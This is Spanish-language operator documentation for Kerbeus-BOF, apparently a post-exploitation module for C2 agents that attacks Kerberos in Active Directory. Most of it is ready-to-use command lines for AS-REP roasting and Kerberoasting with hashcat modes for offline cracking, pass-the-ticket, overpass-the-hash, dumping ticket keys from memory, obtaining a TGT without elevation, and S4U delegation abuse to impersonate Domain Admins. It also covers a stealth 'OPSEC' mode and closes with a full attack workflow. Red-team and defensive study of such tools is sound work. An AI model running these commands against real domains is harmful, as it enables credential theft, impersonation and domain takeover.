El módulo Kerbeus-BOF proporciona un conjunto completo de herramientas para abusar del protocolo Kerberos en entornos Active Directory. Desde ataques de roasting para crackeo offline hasta abuso de delegación S4U y manipulación de tickets.

Todos los comandos usan el prefijo kerbeus y emplean la sintaxis de argumentos con /parametro:valor.

Agentes compatibles: Beacon, Gopher, Kharon
Plataforma: Windows


Ataques de Roasting

kerbeus asreproasting

Realiza un ataque AS-REP Roasting contra usuarios que tienen deshabilitada la pre-autenticación Kerberos (DONT_REQ_PREAUTH).

Cuándo usarlo: Durante la fase de reconocimiento, cuando identificas usuarios con el flag DONT_REQ_PREAUTH habilitado. El hash obtenido puede crackearse offline con hashcat (modo 18200).

kerbeus asreproasting /user:svc_backup
kerbeus asreproasting /user:svc_backup /dc:DC01.corp.local
kerbeus asreproasting /user:svc_backup /domain:corp.local
ArgumentoRequeridoDescripción
/user:USERUsuario objetivo
/dc:DCNoDomain Controller
/domain:DOMAINNoNombre del dominio

kerbeus kerberoasting

Realiza un ataque Kerberoasting para obtener el TGS cifrado de un servicio, crackeable offline.

Cuándo usarlo: Cuando identificas cuentas de servicio con SPNs registrados. El TGS se cifra con el hash de la cuenta de servicio, permitiendo crackeo offline con hashcat (modo 13100 para RC4, 19700 para AES).

kerbeus kerberoasting /spn:MSSQLSvc/db01.corp.local:1433
kerbeus kerberoasting /spn:HTTP/web01.corp.local /ticket:doIF8DCCBey...
kerbeus kerberoasting /spn:MSSQLSvc/db01.corp.local /nopreauth:vulnuser /dc:DC01
ArgumentoRequeridoDescripción
/spn:SPNService Principal Name del servicio objetivo
/nopreauth:USERNoUsar AS-REP de un usuario sin pre-auth (sin necesidad de TGT)
/ticket:BASE64NoTGT para autenticarse (si no se usa la sesión actual)
/dc:DCNoDomain Controller
/domain:DOMAINNoNombre del dominio

Solicitud y gestión de tickets

kerbeus asktgt

Solicita un Ticket Granting Ticket (TGT). Soporta múltiples métodos de autenticación.

Cuándo usarlo: Para obtener un TGT que luego puedes usar para acceder a servicios. Es el equivalente a “iniciar sesión” en Kerberos. Combinado con /ptt, inyecta el ticket directamente en la sesión.

Con contraseña

kerbeus asktgt /user:Administrator /password:P@ssw0rd! /enctype:aes256 /opsec /ptt

Con hash AES256 (Pass-the-Key)

kerbeus asktgt /user:Administrator /aes256:a1b2c3d4e5f6... /ptt

Con hash RC4/NTLM (Overpass-the-Hash)

kerbeus asktgt /user:Administrator /rc4:aabbccdd11223344... /ptt

Sin pre-autenticación

kerbeus asktgt /user:vulnuser /nopreauth
ArgumentoRequeridoDescripción
/user:USERUsuario
/password:PASSSí*Contraseña
/aes256:HASHSí*Clave AES256
/rc4:HASHSí*Hash NTLM/RC4
/nopreauthSí*Sin credenciales (pre-auth deshabilitada)
/domain:DOMAINNoDominio
/dc:DCNoDomain Controller
/enctype:TYPENoTipo de cifrado (rc4 o aes256)
/service:SPNNoSPN para solicitar un TGS directamente
/pttNoPass-the-ticket: inyectar en sesión actual
/nopacNoNo incluir PAC
/opsecNoModo OPSEC: comportamiento más sigiloso

* Se requiere exactamente uno de: /password, /aes256, /rc4 o /nopreauth.

kerbeus asktgs

Solicita un Ticket Granting Service (TGS) usando un TGT existente.

kerbeus asktgs /service:CIFS/dc01.corp.local /ticket:doIF8DCCBey... /ptt
kerbeus asktgs /service:CIFS/dc01.corp.local,HTTP/dc01.corp.local /ticket:doIF8... /opsec
ArgumentoRequeridoDescripción
/ticket:BASE64TGT en Base64
/service:SPNSPN(s) del servicio (separados por coma para múltiples)
/domain:DOMAINNoDominio
/dc:DCNoDomain Controller
/enctype:TYPENoTipo de cifrado
/pttNoInyectar ticket en la sesión
/opsecNoModo OPSEC
/u2uNoUser-to-User
/dmsaNoDelegated Managed Service Account

kerbeus ptt

Importa un ticket Kerberos en la sesión de logon actual (Pass-the-Ticket).

kerbeus ptt /ticket:doIF8DCCBey...
kerbeus ptt /ticket:doIF8DCCBey... /luid:0x3ea8
ArgumentoRequeridoDescripción
/ticket:BASE64Ticket en Base64
/luid:IDNoLogon session ID (por defecto: sesión actual)

kerbeus describe

Parsea y describe los campos de un ticket Kerberos.

kerbeus describe /ticket:doIF8DCCBey...

kerbeus renew

Renueva un TGT existente.

kerbeus renew /ticket:doIF8DCCBey... /ptt

Listado y limpieza de tickets

kerbeus triage

Lista los tickets en caché en formato de tabla. Más legible que klist.

kerbeus triage
kerbeus triage /luid:0x3ea8
kerbeus triage /user:Administrator

kerbeus klist

Lista los tickets en caché con detalle completo.

kerbeus klist
kerbeus klist /luid:0x3ea8

kerbeus dump

Extrae los tickets completos (incluyendo las claves) de la memoria.

kerbeus dump
kerbeus dump /user:Administrator /service:krbtgt

Nota: dump requiere privilegios elevados (SYSTEM o equivalente). klist y triage funcionan sin elevación para la sesión actual.

kerbeus purge

Elimina los tickets en caché de una sesión de logon.

kerbeus purge
kerbeus purge /luid:0x3ea8

Utilidades

kerbeus hash

Calcula las claves Kerberos (RC4, AES128, AES256) a partir de una contraseña.

Cuándo usarlo: Para convertir una contraseña en texto plano a los diferentes formatos de hash Kerberos necesarios para asktgt.

kerbeus hash /password:P@ssw0rd!
kerbeus hash /password:P@ssw0rd! /user:Administrator /domain:corp.local
ArgumentoRequeridoDescripción
/password:PASSContraseña
/user:USERNoUsuario (afecta el cálculo de salt AES)
/domain:DOMAINNoDominio (afecta el salt AES)

kerbeus changepw

Cambia la contraseña de un usuario usando un TGT válido.

kerbeus changepw /ticket:doIF8DCCBey... /new:N3wP@ss!

kerbeus tgtdeleg

Obtiene un TGT utilizable para el usuario actual sin necesidad de elevación abusando de la API GSS de Kerberos.

Cuándo usarlo: Cuando necesitas un TGT exportable del usuario actual pero no tienes privilegios administrativos para hacer dump. Este truco usa la delegación de aplicaciones para obtener un ticket re-utilizable.

kerbeus tgtdeleg
kerbeus tgtdeleg /target:CIFS/dc01.corp.local

Abuso de delegación

kerbeus s4u

Abusa de la delegación confinada (Constrained Delegation) mediante S4U2Self + S4U2Proxy para impersonar a un usuario contra un servicio.

Cuándo usarlo: Cuando comprometes una cuenta configurada para delegación confinada (msDS-AllowedToDelegateTo). Puedes impersonar a cualquier usuario (incluso Domain Admins) contra los servicios permitidos.

kerbeus s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /service:CIFS/fileserver.corp.local /ptt
kerbeus s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /service:HTTP/web01.corp.local /altservice:CIFS /ptt
ArgumentoRequeridoDescripción
/ticket:BASE64TGT de la cuenta con delegación
/service:SPNSPN del servicio destino
/impersonateuser:USERSí*Usuario a impersonar
/tgs:BASE64Sí*TGS existente (alternativa a impersonateuser)
/altservice:SVCNoServicio alternativo (para cambiar el servicio del ticket)
/pttNoInyectar en sesión
/nopacNoSin PAC
/opsecNoModo OPSEC
/selfNoSolo S4U2Self

kerbeus cross_s4u

Igual que s4u pero para delegación entre dominios diferentes.

kerbeus cross_s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /targetdomain:child.corp.local /targetdc:dc.child.corp.local /service:CIFS/server.child.corp.local
Argumento adicionalRequeridoDescripción
/targetdomain:DOMAINDominio destino
/targetdc:DCDC del dominio destino

Flujo de trabajo típico

# Reconocimiento
kerbeus triage                           → Ver tickets en caché
kerbeus tgtdeleg                         → Obtener TGT sin elevación

# Roasting
kerbeus asreproasting /user:svc_backup   → AS-REP Roast
kerbeus kerberoasting /spn:MSSQLSvc/...  → Kerberoast

# Pass-the-Hash/Key
kerbeus hash /password:P@ss              → Obtener hashes Kerberos
kerbeus asktgt /user:admin /rc4:HASH /ptt → Overpass-the-hash

# Delegación
kerbeus s4u /ticket:... /impersonateuser:Administrator /service:CIFS/... /ptt